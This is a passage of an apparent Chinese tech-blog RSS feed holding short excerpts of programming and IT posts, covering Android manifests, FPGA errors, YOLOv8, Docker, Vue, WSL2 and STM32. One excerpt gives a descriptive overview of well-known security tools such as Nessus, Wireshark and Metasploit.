      <link>https://bchobby.github.io/posts/8217eae251cebb1d61b67f5cace6e853/</link>
      <pubDate>Thu, 07 Sep 2023 10:02:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8217eae251cebb1d61b67f5cace6e853/</guid>
      <description>转载自： https://www.cnblogs.com/shujk/p/14961572.html&#xA;正文： AndroidManifest.xml 是每个android程序中必须的文件，它位于整个项目的根目录。我们每天都在使用这个文件，往里面配置程序运行所必要的组件，权限，以及一些相关信息。&#xA;一、概述：&#xA;AndroidManifest.xml是Android应用的入口文件，它描述了package中暴露的组件（activities, services, 等等），他们各自的实现类，各种能被处理的数据和启动位置。 除了能声明程序中的Activities, ContentProviders, Services, 和Intent Receivers,还能指定permissions和instrumentation（安全控制和测试）。&#xA;二、结构图&#xA;&amp;lt;?xmlversion=&#34;1.0&#34;encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;manifest&amp;gt; &amp;lt;uses-sdk/&amp;gt; &amp;lt;uses-configuration/&amp;gt; &amp;lt;uses-feature/&amp;gt; &amp;lt;uses-permission/&amp;gt; &amp;lt;permission/&amp;gt; &amp;lt;permission-tree/&amp;gt; &amp;lt;permission-group/&amp;gt; &amp;lt;instrumentation/&amp;gt; &amp;lt;supports-screens/&amp;gt; &amp;lt;application&amp;gt; &amp;lt;activity&amp;gt; &amp;lt;intent-filter&amp;gt; &amp;lt;action/&amp;gt; &amp;lt;category/&amp;gt; &amp;lt;/intent-filter&amp;gt; &amp;lt;/activity&amp;gt; &amp;lt;activity-alias&amp;gt; &amp;lt;intent-filter&amp;gt;&amp;lt;/intent-filter&amp;gt; &amp;lt;meta-data/&amp;gt; &amp;lt;/activity-alias&amp;gt; &amp;lt;service&amp;gt; &amp;lt;intent-filter&amp;gt;&amp;lt;/intent-filter&amp;gt; &amp;lt;meta-data/&amp;gt; &amp;lt;/service&amp;gt; &amp;lt;receiver&amp;gt; &amp;lt;intent-filter&amp;gt;&amp;lt;/intent-filter&amp;gt; &amp;lt;meta-data/&amp;gt; &amp;lt;/receiver&amp;gt; &amp;lt;provider&amp;gt; &amp;lt;grant-uri-permission/&amp;gt; &amp;lt;meta-data/&amp;gt; &amp;lt;/provider&amp;gt; &amp;lt;uses-library/&amp;gt; &amp;lt;/application&amp;gt; &amp;lt;/manifest&amp;gt; 三、详解&#xA;1、Manifest:属性&#xA;&amp;lt;manifest xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; package=&#34;com.somnus.yunyi&#34; android:sharedUserId=&#34;string&#34; android:sharedUserLabel=&#34;string resource&#34; android:versionCode=&#34;integer&#34; android:versionName=&#34;string&#34; android:installLocation=[&#34;auto&#34; | &#34;internalOnly&#34; | &#34;preferExternal&#34;] &amp;gt; &amp;lt;/manifest&amp;gt; A、xmlns:android</description>
    </item>
    <item>
      <title>FPGA编译报错内容[Common 17-55] ‘set_property‘ expects at least one object.</title>
      <link>https://bchobby.github.io/posts/eacf88fbfac786e6e88f9fa5dcdeb63e/</link>
      <pubDate>Thu, 07 Sep 2023 09:59:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eacf88fbfac786e6e88f9fa5dcdeb63e/</guid>
      <description>项目场景： FPGA代码编译时报错&#xA;问题描述 编译报错内容[Common 17-55] ‘set_property’ expects at least one object.&#xA;原因分析： 当一个引脚存在于xdc文件中，但是工程的顶层模块的引脚里没有这个引脚时，就会报出这个错误&#xA;解决方案： 查找报错的这个引脚是否存在于工程的顶层模块的引脚列表中，&#xA;最大的可能是xdc中的引脚名与工程中的引脚名不一致，一般是拼写错误，或者误删了；&#xA;如果不小心将工程的顶层文件设置错误&#xA;那么就会爆出很多个[Common 17-55] ‘set_property’ expects at least one object.错误；</description>
    </item>
    <item>
      <title>YOLOv8最新改进系列：YOLOv8融合SwinTransformer模块，有效提升小目标检测效果！</title>
      <link>https://bchobby.github.io/posts/e79b4ebb7e0e232b2206936039377610/</link>
      <pubDate>Wed, 06 Sep 2023 22:56:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e79b4ebb7e0e232b2206936039377610/</guid>
      <description>YOLOv8最新改进系列 Transformer提出的论文戳这&#xA;详细的改进教程以及源码，戳这！戳这！！戳这！！！B站：AI学术叫叫兽 源码在相簿的链接中，动态中也有链接，感谢支持！祝科研遥遥领先！&#xA;截止到发稿，B站YOLOv8最新改进系列的源码包已更新了20种！&#xA;YOLOv8最新改进系列：YOLOv8融合SwinTransformer模块，有效提升小目标检测效果！ YOLOv8最新改进系列一、swin transformer概述二、YOLOv8融合SwinTransformer模块2.1 修改YAML文件2.2 新建SwinTransformer.py2.3 修改tasks.py2.3.1 导包2.3.2 注册 三、验证是否成功即可 一、swin transformer概述 上图是Swin Transformer的整体结构，非常像卷积的层级结构，分辨率每层变成一半，而通道数变成两倍。首先Patch Partition,就是VIT中等分成小块的操作；然后分成4个stage，每个stage中包括两个部分，分别是patch Merging（第一个块是线性层） 和Swin Transformer Block。patch Merging是一个类似于池化的操作，池化会损失信息，patch Merging不会。右图是Swin Transformer Block结构，和transformer block基本类似，不同的地方在多头自注意力MSA换成了窗口多头自注意力W-MSA和移动窗口多头自注意力SW-MSA，右图紫框。详细的内容可以去作者提出的文章了解。本文主要进行YOLOv8的优化。&#xA;二、YOLOv8融合SwinTransformer模块 2.1 修改YAML文件 # Ultralytics YOLO 🚀, AGPL-3.0 license # YOLOv8 object detection model with P3-P5 outputs. For Usage examples see https://docs.ultralytics.com/tasks/detect # Parameters nc: 80 # number of classes scales: # model compound scaling constants, i.e. &#39;model=yolov8n.yaml&#39; will call yolov8.yaml with scale &#39;n&#39; # [depth, width, max_channels] n: [0.</description>
    </item>
    <item>
      <title>python执行cmd命令</title>
      <link>https://bchobby.github.io/posts/18023fb4ff49e077df52657211b972c9/</link>
      <pubDate>Wed, 06 Sep 2023 22:45:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18023fb4ff49e077df52657211b972c9/</guid>
      <description>1、使用subprocess 在python中，执行cmd命令，可以调用另一个python文件执行，方便使用argparser传参。执行的时候，cmd控制台不会弹出来。&#xA;def run_cmd(): # CMD命令 cmd_command = &#34;dir&#34; # 这只是一个例子，你可以替换成你需要的任何CMD命令 # 执行CMD命令 process = subprocess.Popen(cmd_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # 获取命令执行的结果 stdout, stderr = process.communicate() # 标准输出 # print(stdout.decode(&#34;gbk&#34;)) # 标准错误 # print(stderr.decode(&#34;gbk&#34;) == &#34;&#34;) if process.returncode != 0: print(f&#39;Error occurred: {stderr.decode()}&#39;) else: print(stdout.decode(&#34;gbk&#34;)) 其中，stdout 是返回的 cmd 输出结果，windows 中编码使用的是 gbk，使用 utf8 有些字符会转码错误并报错。下面是写的一个函数，基本的处理流程就是这样，如果报错的话，会返回None作为错误输出，正确执行的话，会返回输出的结果。&#xA;&#34;&#34;&#34; @:param cmd_command:cmd命令 @:return None or 代码执行的结果，即在cmd控制台的输出 &#34;&#34;&#34; def run_cmd_command(cmd_command): process = subprocess.Popen(cmd_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.</description>
    </item>
    <item>
      <title>黑客工具软件大全100套（非常详细）从零基础入门到精通，看完这一篇就够了</title>
      <link>https://bchobby.github.io/posts/64ec1c60ce3f2e04a53df7734f5c64e4/</link>
      <pubDate>Wed, 06 Sep 2023 21:50:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64ec1c60ce3f2e04a53df7734f5c64e4/</guid>
      <description>黑客工具软件大全100套&#xA;1 Nessus：最好的UNIX漏洞扫描工具 Nessus 是最好的免费网络漏洞扫描器，它可以运行于几乎所有的UNIX平台之上。它不止永久升级，还免费提供多达11000种插件（但需要注册并接受EULA-acceptance–终端用户授权协议）。它的主要功能是远程或本地（已授权的）安全检查，客户端/服务器架构，GTK（Linux下的一种图形界面）图形界面，内置脚本语言编译器，可以用其编写自定义插件，或用来阅读别人写的插件。Nessus 3 已经开发完成（now closed source），其现阶段仍然免费，除非您想获得最新的插件。&#xA;2 Wireshark：网络嗅探工具 Wireshark （2006年夏天之前叫做 Ethereal）是一款非常棒的Unix和Windows上的开源网络协议分析器。它可以实时检测网络通讯数据，也可以检测其抓取的网络通讯数据快照文件。可以通过图形界面浏览这些数据，可以查看网络通讯数据包中每一层的详细内容。Wireshark拥有许多强大的特性：包含有强显示过滤器语言（rich display filter language）和查看TCP会话重构流的能力；它更支持上百种协议和媒体类型； 拥有一个类似tcpdump（一个Linux下的网络协议分析工具）的名为tethereal的的命令行版本。不得不说一句，Ethereal已经饱受许多可远程利用的漏洞折磨，所以请经常对其进行升级，并在不安全网络或敌方网络（例如安全会议的网络）中谨慎使用之。&#xA;3 Snort：一款广受欢迎的开源IDS（Intrusion Detection System）（**检测系统）工具 这款小型的**检测和预防系统擅长于通讯分析和IP数据包登录（packet logging）。Snort除了能够进行协议分析、内容搜索和包含其它许多预处理程序，还可以检测上千种蠕虫病毒、漏洞、端口扫描以及其它可疑行为检测。Snort使用一种简单的基于规则的语言来描述网络通讯，以及判断对于网络数据是放行还是拦截，其检测引擎是模块化的。 用于分析Snort警报的网页形式的引擎 Basic Analysis and Security Engine (BASE)可免费获得。&#xA;开源的Snort为个人、小企业、集团用户提供良好的服务。其母公司SourceFire提供丰富的企业级特性和定期升级以丰富其产品线。提供（必须注册）5天免费的规则试用，您也可以在Bleeding Edge Snort找到很多免费规则。&#xA;4 Netcat：网络瑞士军刀 这个简单的小工具可以读和写经过TCP或UDP网络连接的数据。它被设计成一个可靠的可以被其它程序或脚本直接和简单使用的后台工具。同时，它也是一个功能多样的网络调试和检查工具，因为它可以生成几乎所有您想要的网络连接，包括通过端口绑定来接受输入连接。Netcat最早由Hobbit在1995年发布，但在其广为流传的情况下并没有得到很好的维护。现在nc110.tgz已经很难找了。这个简单易用的工具促使了很多人写出了很多其它Netcat应用，其中有很多功能都是原版本没有的。其中最有趣的是Socat，它将Netcat扩展成可以支持多种其它socket类型，SSL加密，SOCKS代理，以及其它扩展的更强大的工具。它也在本列表中得到了自己的位置（第71位）。还有Chris Gibson’s Ncat，能够提供更多对便携设备的支持。其它基于Netcat的工具还有OpenBSD’s nc，Cryptcat，Netcat6，PNetcat，SBD，又叫做GNU Netcat。&#xA;5 Metasploit Framework：黑掉整个星球 2004年Metasploit的发布在安全界引发了强烈的地震。没有一款新工具能够一发布就挤进此列表的15强（也就是说2000年和2003年的调查没有这种情况），更何况此工具更在5强之列，超过了很多广为流传的诞生了几十年的老牌工具。它是一个强大的开源平台，供开发、测试和使用恶意代码。这种可扩展的模型将负载控制、编码器、无操作生成器和漏洞整合在一起，使得Metasploit Framework成为一种研究高危漏洞的途径。它自带上百种漏洞，还可以在online exploit building demo（在线漏洞生成演示）看到如何生成漏洞。这使得您自己编写漏洞变得更简单，它势必将提升非法shellcode代码的水平，扩大网络阴暗面。与其相似的专业漏洞工具，例如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了这种能力的门槛，将其推广给大众。&#xA;6 Hping2：一种网络探测工具，是ping的超级变种 这个小工具可以发送自定义的ICMP，UDP和TCP数据包，并接收所有反馈信息。它的灵感来源于ping命令，但其功能远远超过ping。它还包含一个小型的路由跟踪模块，并支持IP分段。此工具可以在常用工具无法对有防火墙保护的主机进行路由跟踪/ping/探测时大显身手。它经常可以帮助您找出防火墙的规则集，当然还可以通过它来学习TCP/IP协议，并作一些IP协议的实验。&#xA;7 Kismet：一款超强的无线嗅探器 Kismet是一款基于命令行（ncurses）的802.11 layer2无线网络探测器、嗅探器、和**检测系统。它对网络进行被动嗅探（相对于许多主动工具，例如NetStumbler），可以发现隐形网络（非信标）。它可以通过嗅探TCP、UDP、ARP和DHCP数据包来自动检测网络IP段，以Wireshark/TCPDump兼容格式记录通讯日志，更加可以将被检测到的网络分块并按照下载的分布图进行范围估计。如您所想，这款工具一般被wardriving所使用。嗯！还有warwalking、warflying和warskating……&#xA;8 Tcpdump：最经典的网络监控和数据捕获嗅探器 在Ethereal（Wireshark）出现之前大家都用Tcpdump，而且很多人现在还在一直使用。它也许没有Wireshark那么多花里胡哨的东西（比如漂亮的图形界面，亦或数以百计的应用协议逻辑分析），但它能出色的完成很多任务，并且漏洞非常少，消耗系统资源也非常少。它很少添加新特性了，但经常修复一些bug和维持较小的体积。它能很好的跟踪网络问题来源，并能监控网络活动。其Windows下的版本叫做WinDump。Libpcap/WinPcap的包捕获库就是基于TCPDump，它也用在Nmap等其它工具中。&#xA;9 Cain and Abel：Windows平台上最好的密码恢复工具 UNIX用户经常声称正是因为Unix平台下有很多非常好的免费安全工具，所以Unix才会成为最好的平台，而Windows平台一般不在他们的考虑范围之内。他们也许是对的，但Cain &amp;amp; Abel确实让人眼前一亮。这种只运行于Windows平台的密码恢复工具可以作很多事情。它可以通过嗅探网络来找到密码、利用字典破解加密密码、暴力破解密码和密码分析、记录VoIP会话、解码非常复杂的密码、星号查看、剥离缓存密码以及分析路由协议。另外其文档也很齐全（well documented）。&#xA;10 John the Ripper：一款强大的、简单的以及支持多平台的密码破解器 John the Ripper是最快的密码破解器，当前支持多种主流Unix （官方支持11种，没有计算不同的架构）、DOS、Win32、BeO和OpenVMS。它的主要功能就是检测弱Unix密码。它支持主流Unix下的多种（3种）密码哈希加密类型，它们是Kerberos、AFS以及Windows NT/2000/XP LM。其它哈希类型可以通过补丁包加载。如果您希望从一些单词表开始的话，您可以在这里、这里和这里找到。</description>
    </item>
    <item>
      <title>报错Dependency ‘com.alibaba.cloud:spring-cloud-alibaba-dependencies:2021.0.5.0‘ not found</title>
      <link>https://bchobby.github.io/posts/f1d6737d61f044b873b3b96b8d6dd295/</link>
      <pubDate>Wed, 06 Sep 2023 20:07:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1d6737d61f044b873b3b96b8d6dd295/</guid>
      <description>在学习springcloud的时候跟着老师创建项目，在maven中导入springcloud依赖和springcloudAlibaba依赖的时候，maven坐标一直爆红，刚开始以为是springcloud和springcloudAlibaba的版本有问题，这里我说一下我jdk使用的是11，maven是3.3.9.springboot是2.7.15，springcloud和springcloudAlibaba使用的是2021.0.5，我换了很多个版本都没有用。编译之后控制台报错为Dependency &#39;com.alibaba.cloud:spring-cloud-alibaba-dependencies:2021.0.5.0&#39; not found&#xA;解决办法：我最后一次挣扎是去重新下载一个高版本的maven，当我下载好maven之后更改了原来的maven本地仓库的名字之后，在idea中settings中有重新更新了一下maven本地仓库的地址，更新完之后，idea自动刷新，然后就好了；&#xA;总结一下：这个问题的出现只要不是版本问题就大概率是maven仓库的问题，可以修改一下本地maven仓库的地址，或者把本地的maven仓库清除一下重新在idea中配置，这个坑让我找了大概两个小时，真不容易啊</description>
    </item>
    <item>
      <title>复制文件到Docker容器内</title>
      <link>https://bchobby.github.io/posts/fc7275c346f77278e245645fe721c98a/</link>
      <pubDate>Wed, 06 Sep 2023 19:47:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc7275c346f77278e245645fe721c98a/</guid>
      <description>docker cp 命令用于在Docker容器之间复制文件或目录。&#xA;举例说明：&#xA;假设一个运行的容器ID为9a28f199688e，想要将本地文件/path/to/local-file 复制到容器中的 /path/to/destination 目录中。&#xA;执行命令如下：&#xA;docker cp /path/to/local-file 9a28f199688e:/path/to/destination 还可以使用 -a 选项来递归复制整个目录：&#xA;docker cp -a /path/to/local-directory 9a28f199688e:/path/to/destination 这将把本地目录 /path/to/local-directory 中的所有文件和子目录复制到容器的 /path/to/destination 目录中。&#xA;请注意，容器必须已经启动并且必须在运行中才能使用docker cp 命令。</description>
    </item>
    <item>
      <title>vue3中，封装el-select选择器组件(一)——表单四等分布局、查询、重置resetFields、el-date-picker起止日期、特殊字符校验、自定义指令v-throttle用于按钮防抖</title>
      <link>https://bchobby.github.io/posts/7a3b16304eb276a77936667e90547972/</link>
      <pubDate>Wed, 06 Sep 2023 19:02:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a3b16304eb276a77936667e90547972/</guid>
      <description>vue3中，封装el-select选择器组件(一)——表单四等分布局、查询、重置resetFields、el-date-picker起止日期、特殊字符校验、自定义指令v-throttle用于按钮防抖 效果&#xA;1-流程状态&#xA;2-牵头单位&#xA;3-系统内单位角色&#xA;页面文件 index.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;main-content&#34;&amp;gt; &amp;lt;el-form ref=&#34;formRef&#34; class=&#34;inline-form&#34; label-position=&#34;right&#34; label-width=&#34;130px&#34; :model=&#34;formInline&#34; &amp;gt; &amp;lt;el-form-item class=&#34;width25&#34; label=&#34;项目名称：&#34; prop=&#34;prjName&#34;&amp;gt; &amp;lt;el-input v-model=&#34;formInline.prjName&#34; maxlength=&#34;100&#34; placeholder=&#34;请输入&#34; @input=&#34;(e) =&amp;gt; (formInline.prjName = replaceCommonText(e))&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item class=&#34;width25&#34; label=&#34;开始时间：&#34;&amp;gt; &amp;lt;el-date-picker v-model=&#34;prjDate&#34; end-placeholder=&#34;结束日期&#34; format=&#34;YYYY-MM-DD&#34; placeholder=&#34;请选择&#34; range-separator=&#34;至&#34; start-placeholder=&#34;开始日期&#34; type=&#34;daterange&#34; value-format=&#34;YYYY-MM-DD&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item class=&#34;width25&#34; label=&#34;牵头单位：&#34; prop=&#34;leadUnit&#34;&amp;gt; &amp;lt;unitSelect v-model=&#34;formInline.leadUnit&#34; v-model:contrUnitName=&#34;formInline.leadUnitName&#34; @change-unit=&#34;handleUnitChange&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item class=&#34;width25&#34; label=&#34;系统内单位角色：&#34; prop=&#34;innerRole&#34;&amp;gt; &amp;lt;dictSelect v-model=&#34;formInline.innerRole&#34; :dictid=&#34;&#39;sgCompRole&#39;&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item class=&#34;width25&#34; label=&#34;流程状态：&#34; prop=&#34;processState&#34;&amp;gt; &amp;lt;dictSelect v-model=&#34;</description>
    </item>
    <item>
      <title>linux 安装bazel</title>
      <link>https://bchobby.github.io/posts/397f5d96dee433a97f937384fdd770ec/</link>
      <pubDate>Wed, 06 Sep 2023 16:25:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/397f5d96dee433a97f937384fdd770ec/</guid>
      <description> 网上找了很多安装教程，但都安装失败了，主要是网络问题。 使用华为的镜像源安装就很快 下载软件包 curl -O https://mirrors.huaweicloud.com/bazel/6.0.0/bazel_6.0.0-linux-x86_64.deb 安装软件包 sudo dpkg -i bazel_6.0.0-linux-x86_64.deb 检查是否安装成功 bazel --version </description>
    </item>
    <item>
      <title>强大易用的开源 建站工具Halo</title>
      <link>https://bchobby.github.io/posts/66cf1036a17d2a9901af0d9a6c1e9431/</link>
      <pubDate>Wed, 06 Sep 2023 14:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66cf1036a17d2a9901af0d9a6c1e9431/</guid>
      <description>特点 可插拔架构 Halo 采用可插拔架构，功能模块之间耦合度低、灵活性提高。支持用户按需安装、卸载插件，操作便捷。同时提供插件开发接口以确保较高扩展性和可维护性。&#xA;☑ 支持在运行时安装和卸载插件&#xA;☑ 更加方便地集成三方平台&#xA;☑ 统一的可配置设置表单&#xA;☑ 支持自定义模型，自动生成 RESTful API&#xA;功能丰富的主题机制 Halo 提供完整的主题模板机制，用于构建前台界面。这意味着用户可以根据自己的喜好选择不同类型的主题模板来定制化自己的站点外观。&#xA;☑ 动态切换主题模板&#xA;☑ 支持实时编辑和预览效果&#xA;☑ 多语言支持&#xA;☑ 与插件配合实现更多功能&#xA;编辑器 Halo 的富文本编辑器提供了方便丰富的功能，包括添加标题、段落、引用、列表、代码块等元素，并支持设置样式属性、上传图片、插入视频等功能。这些工具让你的文章创作更加便捷和生动。&#xA;☑ 完备的富文本格式支持&#xA;☑ 支持拖拽和粘贴图片上传&#xA;☑ 支持通过插件扩展编辑器&#xA;更多特性 代码开源&#xA;Halo 的项目代码开源在 GitHub 上且处于积极维护状态，截止目前已经发布了 109 个版本。你也可以在上面提交你的问题或者参与代码贡献。&#xA;易于部署&#xA;推荐使用 Docker 的方式部署 Halo，便于升级，同时避免了各种环境依赖的问题。统一管理在工作目录中的应用数据也能方便地进行备份和迁移。&#xA;插件机制&#xA;支持在插件运行时为系统添加新功能，同时保持 Halo 自身的简洁轻量。这种灵活的插件机制让用户根据自身需求自由扩展 Halo 的功能，帮助用户实现富有想象力的站点。&#xA;模板机制&#xA;支持自定义配置、主题预览、多语言等功能。这种灵活的模板系统让用户可以针对自己的需求进行自定义配置，为网站带来更加个性化的外观和交互体验。&#xA;附件管理&#xA;支持多种存储策略，并支持通过插件扩展外部存储位置，可以让用户更加灵活地地上传、查看和管理附件。&#xA;搜索引擎&#xA;内置全文搜索引擎，支持关键字搜索文章和页面内容。同时支持通过插件扩展外部搜索引擎，做到让用户按需选择、自由扩展。&#xA;部署 快速部署&#xA;docker run -it -d --name halo -p 8090:8090 -v ~/.</description>
    </item>
    <item>
      <title>vue——项目中加载public中的静态资源——技能提升</title>
      <link>https://bchobby.github.io/posts/ad2ca3412e49cbf7093a89404b346843/</link>
      <pubDate>Wed, 06 Sep 2023 11:11:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad2ca3412e49cbf7093a89404b346843/</guid>
      <description>vue——项目中加载public中的静态资源 应用场景需求分析代码1.`antd-design-vue`的代码如下：2.通过接口获取到数据后，给activeKey赋值为tab列表的第一项3.切换`tab`时触发的`callback`方法 `public`文件中存放的`html`页面打包后`dist`文件夹中的`html`页面重点是加载同一个页面时，今天和昨天的页面中数据略有不同时，浏览器缓存的问题，是否可以通过给页面添加`时间戳`的形式来破解，等我测试后再来说明。 应用场景 在写后台管理系统的时候，遇到一个需求就是关于热力图的功能，需要加载不同的页面，这个页面需要每日更新一次，所以请求页面html的最终解决办法就是：将页面html+对应的文件夹，放在public文件夹中，打包后生成的文件会存放在dist文件夹中。在项目中使用此页面路径的时候，直接通过’html页面名称’的方式就可以拿到了。&#xA;需求分析 如下图所示：每一个tab标签都表示一个html页面，点击对应的tab，下方就要展示对应的html页面的内容。&#xA;代码 1.antd-design-vue的代码如下： &amp;lt;a-tabs type=&#34;card&#34; v-model=&#34;activeKey&#34; @change=&#34;callback&#34;&amp;gt; &amp;lt;a-tab-pane v-for=&#34;item in data&#34; :key=&#34;item.url&#34; :tab=&#34;item.url&#34;&amp;gt; &amp;lt;/a-tab-pane&amp;gt; &amp;lt;/a-tabs&amp;gt; &amp;lt;iframe :src=&#34;src&#34; v-if=&#34;src&#34; frameborder=&#34;0&#34; width=&#34;100%&#34; height=&#34;1000&#34; id=&#34;iframeId&#34; &amp;gt;&amp;lt;/iframe&amp;gt; 2.通过接口获取到数据后，给activeKey赋值为tab列表的第一项 this.activeKey = this.data &amp;amp;&amp;amp; this.data[0] &amp;amp;&amp;amp; this.data[0].url; this.src = this.data &amp;amp;&amp;amp; this.data[0] &amp;amp;&amp;amp; this.data[0].url + &#39;?&#39; + new Date().getTime();//通过?+时间戳的方式来防止浏览器缓存的出现 3.切换tab时触发的callback方法 callback(val) { this.src = &#39;&#39;; setTimeout(()=&amp;gt;{ this.src = val + &#39;?&#39; + new Date().getTime(); },200) }, public文件中存放的html页面 打包后dist文件夹中的html页面 重点是加载同一个页面时，今天和昨天的页面中数据略有不同时，浏览器缓存的问题，是否可以通过给页面添加时间戳的形式来破解，等我测试后再来说明。 完成！！！</description>
    </item>
    <item>
      <title>github.com网站提示无法访问此页面——亲测有效（已解决）</title>
      <link>https://bchobby.github.io/posts/2a92e0049e454e1fdddd6737821b883c/</link>
      <pubDate>Wed, 06 Sep 2023 10:55:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a92e0049e454e1fdddd6737821b883c/</guid>
      <description>最近在看stepin-template的vue3版本，发现这个后台框架还是有很多不足的地方。于是想要提交一个关于菜单折叠展开的issue。&#xA;github.com网站提示无法访问此页面 效果图1.打开命令提示符窗口，`ping github.com`2.在电脑`hosts`文件中添加`ip地址 github.com`2.1 `hosts`文件的位置：`C:\Windows\System32\drivers\etc`2.2 修改此文件需要管理员权限2.2.1 一种方式——以管理员身份运行记事本，打开`hosts`文件修改2.2.2 一种方式——用`vscode`软件打开`hosts`文件 **`经过上面的两步后，还是提示无法访问！！！`**3.刷新DNS缓存 效果图 但是一打开github.com网站，就提示下图了：&#xA;于是百度搜索解决办法：&#xA;附上大神提供的解决办法：github.com网站无法访问：https://zhuanlan.zhihu.com/p/500450465&#xA;我这边的处理方法也记录一下：&#xA;1.打开命令提示符窗口，ping github.com 通过ping github.com的方式获取ip地址：&#xA;2.在电脑hosts文件中添加ip地址 github.com 2.1 hosts文件的位置：C:\Windows\System32\drivers\etc 选择此文件，右击“打开方式”，选择以“记事本”格式打开。&#xA;在此文件的最后添加：此时的的ip就是上面ping到的github.com的ip&#xA;但是此时保存时，提示没有权限，有的打开的时候就会提示没有权限。&#xA;2.2 修改此文件需要管理员权限 2.2.1 一种方式——以管理员身份运行记事本，打开hosts文件修改 在电脑上检索“记事本”，右击“以管理员身份运行”，然后点击记事本中的打开，找到刚才的hosts文件，此时在进行编辑即可保存成功。&#xA;2.2.2 一种方式——用vscode软件打开hosts文件 修改后有下角会提示是否以管理员身份编辑，点击是即可保存成功。&#xA;经过上面的两步后，还是提示无法访问！！！ 于是，我根据文章开头找到的大神的操作链接，进行了第三步操作。&#xA;3.刷新DNS缓存 看到评论说可能还需要刷新dns缓存，可以先不刷新看看情况，如果不可以就再刷新。&#xA;步骤为：win（就是键盘上左下角有4个方块的键）+r，打开运行窗口，输入cmd打开窗口，输入ipconfig /flushdns后回车即可。&#xA;成功！！！多多积累，多多收获！！！</description>
    </item>
    <item>
      <title>安装WSL2</title>
      <link>https://bchobby.github.io/posts/bebafcf83f54130a575142cf06359f61/</link>
      <pubDate>Wed, 06 Sep 2023 02:01:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bebafcf83f54130a575142cf06359f61/</guid>
      <description>一、什么是WSL2 WSL2是Windows Subsystem for Linux的第二个版本，是一个为Windows系统提供Linux运行环境的子系统。WSL2相比于早期版本，采用了全新的虚拟化技术，使得在Windows系统下运行Linux应用程序的速度比之前更快，同时能够提供更好的文件系统性能。&#xA;WSL 2使用Linux内核，这也是它相比于早期版本的一个最重要的改进。这意味着，WSL 2现在可以运行更多的Linux应用程序，包括那些需要内核支持的应用程序。而且WSL2通过Hyper-V虚拟技术运行，可以在Windows系统内部运行，响应更为迅速。&#xA;二、wsl2安装步骤 1、硬件虚拟化 Hyper-V 是 Microsoft 的硬件虚拟化产品。 它用于创建并运行计算机的软件版本，称为“虚 拟机”。&#xA;开启电脑的虚拟化，一般电脑都是默认开启的。可以在 任务管理器-&amp;gt;性能-&amp;gt;CPU下查看虚拟化是否开启。&#xA;2、查看Hyper-v是否开启 启用Hyper-v可以在电脑中配置虚拟机。开启步骤：控制面板-&amp;gt;程序-&amp;gt;启用或关闭Windows 功能-&amp;gt;把Hyper-v勾上-&amp;gt;最后重启电脑就可以了。&#xA;a. 可能遇到的问题 —— 没有Hyper-V 解决方案：&#xA;首先，在PC上打开一个新的记事本文件。输入以下内容：&#xA;在“保存类型”下拉菜单中选择“所有文件(*.*)”。之后，为文件命名。然后，在末尾添加.bat扩展名以将其保存为批处理文件。确保末尾没有附加 .txt 或其他文件扩展名。最后，点击“保存”。&#xA;然后选择“以管理员身份运行”。&#xA;Hyper-V 安装完成后，重新启动 Windows 11 计算机。打开一个 Windows 功能窗口。向下滚动并启用 Hyper-V、windows虚拟机监控程序平台、适用于linux的Windows子系统、虚拟机平台。&#xA;3、WAL2安装步骤 有win系统要求：win10 2004及更高版本或win11。 a.启用适用于 Linux 的 Windows 子系统 需要先启用“适用于 Linux 的 Windows 子系统”可选功能，然后才能在 Windows 上安装 Linux 。&#xA;以管理员身份打开 PowerShell（“开始”菜单 &amp;gt;“PowerShell” &amp;gt;单击右键 &amp;gt;“以管理员身份运行”），然后输入以下命令：&#xA;b.启用虚拟机功能 安装 WSL 2 之前，必须启用“虚拟机平台”可选功能。 计算机需要虚拟化功能才能使用此功能。&#xA;以管理员身份打开 PowerShell 并运行：</description>
    </item>
    <item>
      <title>从零编写STM32H7的MDK SPI FLASH下载算法</title>
      <link>https://bchobby.github.io/posts/8eaec5f5575d112bcf6498e887b6bc9e/</link>
      <pubDate>Tue, 05 Sep 2023 14:48:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eaec5f5575d112bcf6498e887b6bc9e/</guid>
      <description>从零编写STM32H7的MDK SPI FLASH下载算法 - 知乎&#xA;Part1前言 当我们要下载编译好的镜像到Flash时，首先要做的一步就是选择合适的Flash下载算法，而这个算法本身就是一个FLM文件：&#xA;代码既可以下载到内部flash，也可以下载到外部flash，或者一部分下载到内部，一部分下载到外部。&#xA;Part2一、将代码中的图片资源下载到外部flash 在UI设计中往往需要大量的图片和字体，图片和字体资源在代码中以静态数组的形式存在，这些大数组在内部flash中一般存放不下，所以需要把这些占用资源比较大的数组放在外部flash中，然后通过QSPI地址映射的方式访问，或者通过SPI将flash中的资源分批读取到RAM缓存中使用。&#xA;通过MDK打开分散加载文件，配置“ExtFlashSection”段： ; ************************************************************* ; *** Scatter-Loading Description File generated by uVision *** ; ************************************************************* LR_IROM1 0x08000000 0x00020000 { ; load region size_region ER_IROM1 0x08000000 0x00020000 { ; load address = execution address *.o (RESET, +First) *(InRoot$$Sections) .ANY (+RO) .ANY (+XO) } RW_IRAM1 0x20000000 0x00020000 { ; 